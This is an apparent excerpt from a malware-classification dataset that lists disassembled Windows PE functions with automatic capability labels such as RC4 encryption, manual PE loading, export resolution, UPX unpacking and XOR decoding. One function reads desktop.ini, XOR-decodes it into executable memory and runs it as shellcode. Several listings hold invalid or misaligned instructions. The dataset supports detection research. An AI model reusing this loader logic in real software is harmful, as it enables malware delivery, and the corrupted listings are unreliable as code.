joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
cmp ebp, 1
push edi
mov edi, ecx
jl 0x402b4b
mov eax, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0x18]
push ebp
push eax
push esi
call fcn.0040eaf0
add esp, 0xc
cmp ebp, 1
jne 0x402aaa
movzx ecx, byte [esi]
movzx edx, byte [edi + 0x20020]
add ecx, 0x100
shl ecx, 8
add ecx, edi
mov al, byte [edx + ecx]
mov byte [esi], al
pop esi
pop edi
pop ebp
ret 0xc
lea ecx, [ebp - 1]
xor eax, eax
test ecx, ecx
jle 0x402ae0
push ebx
jmp 0x402ac0
movzx edx, byte [eax + esi]
movzx ebx, byte [eax + esi + 1]
add edx, 0x100
shl edx, 8
add edx, edi
mov dl, byte [ebx + edx]
mov byte [eax + esi], dl
inc eax
cmp eax, ecx
jl 0x402ac0
pop ebx
movzx eax, byte [edi + 0x20020]
movzx edx, byte [esi + ebp - 1]
xor eax, 0x55
add edx, 0x100
add eax, edi
shl edx, 8
mov al, byte [edx + eax]
mov byte [esi + ebp - 1], al
mov eax, ecx
cmp eax, 1
jl 0x402b30
jmp 0x402b10
movzx edx, byte [eax + esi]
movzx ecx, byte [eax + esi - 1]
add edx, 0x100
shl edx, 8
add ecx, edi
mov cl, byte [edx + ecx]
mov byte [eax + esi], cl
dec eax
cmp eax, 1
jge 0x402b10
movzx edx, byte [esi]
movzx eax, byte [edi + 0x20020]
add edx, 0x100
shl edx, 8
add edx, edi
mov cl, byte [eax + edx]
mov byte [esi], cl
pop esi
pop edi
pop ebp
ret 0xc

Function at 0x405280
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 0xc]
push ebp
push edi
mov edi, dword [eax + 4]
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
xor ebp, ebp
lea ecx, [ecx + eax + 0x18]
cmp dx, word [eax + 6]
jae 0x40530c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea esi, [ecx + 0x10]
mov eax, dword [esi]
test eax, eax
jne 0x4052d4
mov eax, dword [esp + 0x18]
mov eax, dword [eax + 0x38]
test eax, eax
jle 0x4052f8
mov ecx, dword [esi - 4]
push eax
push 0
push 4
push 0x1000
push eax
add ecx, edi
push ecx
call ebx
push eax
call fcn.0040e570
jmp 0x4052f5
mov edx, dword [esi - 4]
push 4
push 0x1000
push eax
add edx, edi
push edx
call ebx
mov edx, dword [esi + 4]
mov ecx, dword [esi]
add edx, dword [esp + 0x14]
push ecx
push edx
push eax
call fcn.0040e200
add esp, 0xc
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
movzx edx, word [ecx + 6]
inc ebp
add esi, 0x28
cmp ebp, edx
jl 0x4052a8
pop esi
pop ebx
pop edi
pop ebp
ret

Function at 0x405310
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
push edi
xor edx, edx
xor edi, edi
lea ecx, [ecx + eax + 0x18]
cmp dx, word [eax + 6]
jae 0x405357
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
lea esi, [ecx + 0x10]
test dword [esi + 0x14], 0x2000000
je 0x405347
mov eax, dword [esi]
mov ecx, dword [esi - 8]
push 0x4000
push eax
push ecx
call ebp
mov edx, dword [ebx]
movzx eax, word [edx + 6]
inc edi
add esi, 0x28
cmp edi, eax
jl 0x405330
pop esi
pop ebp
pop edi
ret
Function at 0x405570
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, dword [esp + 8]
mov eax, 0x5a4d
cmp word [ebp], ax
je 0x405584
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 0x3c]
add esi, ebp
cmp dword [esi], 0x4550
je 0x405597
pop esi
xor eax, eax
pop ebp
ret
mov ecx, dword [esi + 0x50]
mov edx, dword [esi + 0x34]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x2000
push ecx
push edx
call ebx
mov edi, eax
test edi, edi
jne 0x4055ce
mov eax, dword [esi + 0x50]
push 4
push 0x2000
push eax
push edi
call ebx
mov edi, eax
test edi, edi
je 0x405675
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
mov dword [ebx + 4], edi
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov ecx, dword [esi + 0x50]
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [esi + 0x54]
push 4
push 0x1000
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 0x3c]
add ecx, dword [esi + 0x54]
mov dword [esp + 0x14], eax
push ecx
push ebp
push eax
call fcn.0040e200
mov edx, dword [ebp + 0x3c]
mov eax, dword [esp + 0x20]
push ebx
add eax, edx
push esi
mov dword [ebx], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.00405280
mov eax, edi
add esp, 0x18
sub eax, dword [esi + 0x34]
je 0x405650
push eax
mov eax, ebx
call fcn.00405360
add esp, 4
push ebx
call fcn.004053e0
add esp, 4
test eax, eax
jne 0x40567c
push ebx
call fcn.00405500
push str.error_occured
call fcn.0040f3a4
add esp, 8
call fcn.0040f39f
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
ret
call fcn.00405310
mov ecx, dword [ebx]
cmp dword [ecx + 0x28], 0
je 0x405690
mov dword [ebx + 0x10], 1
mov eax, edi
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x41606b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4227b8]
jne 0x416075
repz ret
jmp fcn.0041917a

Function at 0x416468
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041466b
and dword [ebp - 4], 0
cmp dword [0x423e2c], 0
mov ebx, eax
jne 0x416519
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4165ca
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4165ca
push eax
call fcn.004145f9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e2c], eax
call esi
push eax
call fcn.004145f9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e30], eax
call esi
push eax
call fcn.004145f9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e34], eax
call esi
push eax
call fcn.004145f9
pop ecx
mov dword [0x423e3c], eax
test eax, eax
je 0x416519
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004145f9
pop ecx
mov dword [0x423e38], eax
mov eax, dword [0x423e38]
cmp eax, ebx
je 0x416571
cmp dword [0x423e3c], ebx
je 0x416571
push eax
call fcn.00414674
push dword [0x423e3c]
mov esi, eax
call fcn.00414674
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x416571
test edi, edi
je 0x416571
call esi
test eax, eax
je 0x416568
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x416568
test byte [ebp - 0xc], 1
jne 0x416571
or dword [ebp + 0x10], 0x200000
jmp 0x4165aa
mov eax, dword [0x423e30]
cmp eax, ebx
je 0x4165aa
push eax
call fcn.00414674
pop ecx
test eax, eax
je 0x4165aa
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4165aa
mov eax, dword [0x423e34]
cmp eax, ebx
je 0x4165aa
push eax
call fcn.00414674
pop ecx
test eax, eax
je 0x4165aa
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e2c]
call fcn.00414674
pop ecx
test eax, eax
je 0x4165ca
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4165cc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f110
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add byte [eax], al
add dword [edi + 0x5e], ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
push ebp
mov ebp, esp
sub esp, 0x1b8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebx + 4]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0
xor esi, esi
mov edx, edi
mov ecx, dword [edx]
movzx eax, word [ecx + 8]
cmp ax, 0x4e
je 0x40f380
cmp ax, 0x4f
je 0x40f377
cmp ax, 0x47
je 0x40f380
cmp ax, 0x48
je 0x40f377
movzx ecx, word [ecx + 8]
cmp cx, 0x41
je 0x40f195
cmp cx, 0x52
je 0x40f195
cmp cx, 0x53
je 0x40f195
cmp cx, 0x54
je 0x40f195
cmp cx, 0x55
je 0x40f195
cmp cx, 0x56
je 0x40f195
cmp ax, 0x7f
je 0x4786fe
add edx, 4
jmp 0x40f130
test esi, esi
jne 0x40f186
mov eax, dword [edi]
mov edx, 1
mov ecx, dword [eax]
mov dword [ebp - 8], edx
mov eax, dword [ecx + 8]
mov edi, dword [ecx]
mov ebx, dword [ecx + 4]
mov dword [ebp - 0xa8], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0xa0], eax
inc dword [eax]
mov dword [ebp - 0xa4], eax
xor eax, eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0xac], ebx
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], eax
cmp byte [0x4c20fc], al
jne 0x40f3e0
cmp dword [0x4c20f0], eax
je 0x40f595
cmp byte [0x4c20f9], al
jne 0x478753
mov esi, dword [0x4c20f4]
cmp dword [esi], 0
je 0x40f595
mov eax, dword [0x4c21f0]
mov byte [ebp - 9], 0
test al, 1
je 0x478760
mov dword [0x4c2210], 0
mov dword [0x4c220c], 0
mov dword [ebp - 0x14], 0x4c21f4
mov dword [ebp - 0x78], 0x4c21f4
jmp 0x40f250
dec esi
add edx, 4
jmp 0x40f130
inc esi
add edx, 4
jmp 0x40f130
clc
dec dword [ebx + 0x458b1c48]
or al, 0x41
mov dword [eax], ecx
jmp 0x40ef74
aam 0x50
pop ss
sti
clc
push eax
push ebx
mov ecx, esi
mov dword [ebp - 0x2c], 0x756a5b00
pop ebx
push 0x75
mov dword [ebp - 0x24], 0x756a5b00
mov dword [ebp - 0x20], 0x2424448b
call 0x3640fe7e
mov ecx, dword [ebx + 4]
mov eax, dword [ebp - 8]
mov eax, dword [ecx + eax*4]
cmp word [eax + 8], 0x7f

Function at 0x40fe30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x4c221c]
push ebx
push esi
push edi
mov dword [esp + 0x14], ecx
test al, 1
je 0x4113cf
mov edi, dword [ebp + 0x10]
xor eax, eax
push 8
mov word [esp + 0x60], 1
mov dword [esp + 0x24], edi
jl 0x40fe85
and al, 0xc7
inc esp
and al, 0x28
add byte [eax], al
add byte [eax], al
mov dword [esp + 0x14], eax
mov dword [esp + 0x2c], eax
mov word [esp + 0x30], 1
call fcn.0041f4ea
or eax, 1
push 0x471aaf
mov dword [0x4c221c], eax
mov dword [0x4c2220], 0
mov dword [0x4c2228], 0
mov dword [0x4c222c], 1
call fcn.00420f0a
add esp, 4
jmp 0x40fe50
Function at 0x413200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edx, dword [esi]
mov edi, ecx
sub esp, 0x10
mov eax, dword [edi + 0xf4]
mov dword [esp + 0x50], eax
mov eax, dword [ebx + 4]
mov dword [esp + 0x5c], edi
mov eax, dword [eax + edx*4]
nop
mov dword [esp + 0x34], 3
movsx ecx, word [eax + 0xa]
mov edx, dword [eax]
mov dword [esp + 0x44], ecx
mov eax, dword [edx]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax

Function at 0x41322f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edx, dword [esi]
mov edi, ecx
sub esp, 0x10
mov eax, dword [edi + 0xf4]
mov dword [esp + 0x50], eax
mov eax, dword [ebx + 4]
mov dword [esp + 0x5c], edi
mov eax, dword [eax + edx*4]
nop
mov dword [esp + 0x34], 3
movsx ecx, word [eax + 0xa]
mov edx, dword [eax]
mov dword [esp + 0x44], ecx
mov eax, dword [edx]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax

Function at 0x41324e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [edx + 8]
mov dword [ecx + 8], eax
mov eax, dword [edx + 0xc]
mov dword [ecx + 0xc], eax
inc dword [eax]
lea ecx, [edi + 0x138]
call fcn.0040bd30
mov dword [esp + 0x2c], eax
test eax, eax
je 0x479062
mov eax, dword [edi + 0x14c]
inc dword [esi]
mov ecx, dword [esi]
mov dword [esp + 0x84], eax
mov eax, dword [ebx + 4]
mov dword [esp + 0x60], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 1
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x50], 0x49dc50
cmp word [eax + 8], 0x47
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x74], 0x49dc4c
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x38], 0
jne 0x47907a
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x28], ecx
push ebx
mov ecx, edi
call fcn.0041c36b
test eax, eax
js 0x413b67
mov ebx, dword [esp + 0x2c]
mov eax, dword [ebx + 0x10]
mov dword [edi + 0xf4], eax
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x4c2110]
jg 0x413ae9
test eax, eax
jle 0x413ae9
shl eax, 4
add eax, dword [0x4c214c]
mov dword [esp + 0x18], eax
mov eax, dword [eax + 4]
mov ecx, dword [eax]
cmp word [ecx + 8], 0
jne 0x413361
cmp dword [ecx], 0x2b
je 0x47908c
mov ecx, 3
cmp dword [ebx + 0x14], 0
mov edx, dword [esp + 0x1c]
mov esi, ecx
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x20], 0
mov dword [esp + 0x30], 0
jg 0x4138c0
mov eax, dword [esp + 0x20]
cmp eax, dword [ebx + 0x18]
invalid
invalid
je 0x4133f6
Function at 0x443fca
Capabilities:
Encode data using xor

Disassembly:
fstp qword [esp]
sub esp, 0x28
dec dword [esp]
or byte [edi - 0xa], bl
js 0x44404f
jne 0x443fde
push 0
jmp 0x444049
cmp esi, 0xf
jae 0x444048
and byte [ecx], al
invalid
push esi
call dword [0x104c1670]
pop esi
mov edx, 0x1cdd0004
fstp qword [esp]
push ecx
push ebx
jne 0x444073
call 0x861dcb7d
call dword [eax + 0xa]
cmp byte [ebx + 9], 0xf0
je 0x84534145
invalid
invalid

Function at 0x447a8d
Capabilities:
Encode data using xor

Disassembly:
add dword [eax + 0x280574b8], eax
push esi
mov esi, ecx
test esi, esi
js 0x447b05
jne 0x447a9a
push 0
jmp 0x447aff
cmp esi, 0xf
jae 0x447afe
and byte [ecx], al
invalid
push esi
call dword [0x104c1670]
pop esi
invalid
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x8aca60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2eb000]
push edi
or ebp, 0xffffffff
jmp 0x8aca82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8aca89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8aca78
mov eax, 1
add ebx, ebx
jne 0x8aca9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8acaac
jne 0x8acacb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8acacb
dec eax
add ebx, ebx
jne 0x8acab8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8aca90
add ebx, ebx
jne 0x8acac7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8acb1d
xor ecx, ecx
sub eax, 3
jb 0x8acae3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8acb52
sar eax, 1
mov ebp, eax
jmp 0x8acaee
add ebx, ebx
jne 0x8acaee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8acabc
inc ecx
add ebx, ebx
jne 0x8acafc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8acabc
add ebx, ebx
jne 0x8acb09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8acafe
jne 0x8acb1a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8acafe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8acb3c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8acb2e
jmp 0x8aca7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8acb3c
add edi, ecx
jmp 0x8aca7e
pop esi
mov edi, esi
mov ecx, 0x85ef
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8acb5a
cmp byte [edi], 0x28
jne 0x8acb5a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8acb5f
lea edi, [esi + 0x4a9000]
mov eax, dword [edi]
or eax, eax
je 0x8acbd7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4c5498]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4c559c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8acb8c
mov ecx, edi
jns 0x8acbbb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4c55a0]
or eax, eax
je 0x8acbd1
mov dword [ebx], eax
add ebx, 4
jmp 0x8acba9
call dword [esi + 0x4c55b0]
mov ebp, dword [esi + 0x4c55a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8acc0b
sub esp, 0xffffff80
jmp 0x51a824
Function at 0x40d729
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x47fabf
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x4b0760]
xor eax, esp
mov dword [esp + 0x50], eax
push ebx
push esi
push edi
mov eax, dword [0x4b0760]
xor eax, esp
push eax
lea eax, [esp + 0x68]
mov dword fs:[0], eax
mov edi, edx
mov eax, dword [ebp + 0xc]
mov edx, ecx
mov ebx, dword [ebp + 8]
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], eax
call fcn.0040e462
and dword [esp + 0x70], 0
cmp dword [esp + 0x28], 0
jne 0x40d78a
xor bl, bl
jmp 0x40d8bc
cmp byte [ebp + 0x10], 0
je 0x40d884
lea edx, [esp + 0x18]
lea ecx, [esp + 0x48]
call fcn.0042757b
lea ecx, [esp + 0x18]
mov byte [esp + 0x70], 1
cmp ecx, eax
je 0x40d7b8
push 0xffffffffffffffff
push 0
push eax
call fcn.00402d27
push 0
push 1
lea ecx, [esp + 0x50]
mov byte [esp + 0x78], 0
call fcn.00402e0b
lea edx, [esp + 0x18]
lea ecx, [esp + 0x30]
call fcn.004238f3
mov byte [esp + 0x70], 2
lea edx, [esp + 0x30]
cmp dword [esp + 0x44], 0x10
lea ecx, [esp + 0x48]
push dword [esp + 0x40]
cmovae edx, dword [esp + 0x34]
call fcn.00422a08
pop ecx
lea ecx, [esp + 0x18]
mov byte [esp + 0x70], 3
cmp ecx, eax
je 0x40d80f
push 0xffffffffffffffff
push 0
push eax
call fcn.00402d27
push 0
push 1
lea ecx, [esp + 0x50]
mov byte [esp + 0x78], 2
call fcn.00402e0b
mov esi, 0x498424
push esi
call fcn.004028bd
pop ecx
push eax
push 0
push esi
jmp 0x40d862
push str.iostream_stream_error
call fcn.004028bd
pop ecx
push eax
push str.iostream_stream_error
push 1
push esi
lea ecx, [esp + 0x28]
call fcn.00404aad
push 0x498424
call fcn.004028bd
pop ecx
push eax
push esi
push 0x498424
lea ecx, [esp + 0x24]
call fcn.00413ec8
mov esi, eax
cmp esi, 0xffffffff
jne 0x40d833
push 0
push 1
lea ecx, [esp + 0x38]
mov byte [esp + 0x78], 0
call fcn.00402e0b
push 0x497a98
lea ecx, [esp + 0x34]
call fcn.00403f58
push ebx
push edi
push dword [esp + 0x1c]
lea edx, [esp + 0x3c]
mov byte [esp + 0x7c], 4
lea ecx, [esp + 0x24]
call fcn.004137e2
add esp, 0xc
lea ecx, [esp + 0x30]
push 0
push 1
call fcn.00402e4f
mov bl, 1
push 0
push 1
lea ecx, [esp + 0x20]
call fcn.00402e0b
mov al, bl
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.00460e52
mov esp, ebp
pop ebp
ret
Function at 0x422a08
Capabilities:
Encode data using base64

Disassembly:
push 0x38
mov eax, 0x4835dc
call fcn.00465773
mov dword [ebp - 0x38], edx
mov ebx, ecx
xor eax, eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x3c], eax
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], eax
mov byte [ebx], al
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x28]
mov edx, 0x2716
mov dword [ebp - 0x3c], 1
mov edi, eax
call fcn.00427723
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 1
test eax, eax
je 0x422b9a
push 3
pop esi
mov ecx, dword [ebp - 0x38]
dec eax
mov dword [ebp + 8], eax
mov al, byte [ecx]
mov byte [ebp + edi - 0x30], al
inc edi
mov dl, byte [ebp - 0x2f]
inc ecx
mov dword [ebp - 0x38], ecx
mov ch, byte [ebp - 0x2e]
mov cl, byte [ebp - 0x30]
mov byte [ebp - 0x33], ch
mov byte [ebp - 0x31], dl
mov byte [ebp - 0x32], cl
cmp edi, esi
jne 0x422ae5
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x2c], al
mov al, dl
shl cl, 4
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x2b], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ch
and al, 0x3f
mov byte [ebp - 0x2a], cl
mov byte [ebp - 0x29], al
xor edi, edi
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
movzx eax, byte [ebp + edi - 0x2c]
cmovae ecx, dword [ebp - 0x28]
movzx eax, byte [eax + ecx]
mov ecx, ebx
push eax
push 1
call fcn.00416725
inc edi
cmp edi, 4
jl 0x422ab6
mov dl, byte [ebp - 0x31]
xor edi, edi
mov cl, byte [ebp - 0x32]
mov ch, byte [ebp - 0x33]
mov eax, dword [ebp + 8]
test eax, eax
jne 0x422a5b
mov dword [ebp - 0x38], edi
test edi, edi
je 0x422b9a
mov eax, edi
cmp edi, esi
jge 0x422b1c
cmp eax, esi
jae 0x422bae
mov byte [ebp + eax - 0x30], 0
inc eax
cmp eax, esi
jl 0x422b03
mov ch, byte [ebp - 0x2e]
mov dl, byte [ebp - 0x2f]
mov cl, byte [ebp - 0x30]
and dword [ebp - 0x30], 0
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x2c], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x2b], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x29], ch
lea eax, [edi + 1]
mov byte [ebp - 0x2a], dl
mov dword [ebp - 0x40], eax
test eax, eax
jle 0x422b86
mov esi, dword [ebp - 0x30]
mov edi, eax
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
movzx eax, byte [ebp + esi - 0x2c]
cmovae ecx, dword [ebp - 0x28]
movzx eax, byte [eax + ecx]
mov ecx, ebx
push eax
push 1
call fcn.00416725
inc esi
cmp esi, edi
jl 0x422b5d
mov edi, dword [ebp - 0x38]
push 3
pop esi
cmp edi, esi
jge 0x422b9a
sub esi, edi
push 0x3d
push 1
mov ecx, ebx
call fcn.00416725
dec esi
jne 0x422b8c
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00402e0b
mov eax, ebx
call fcn.00465722
ret
call fcn.00462193
int3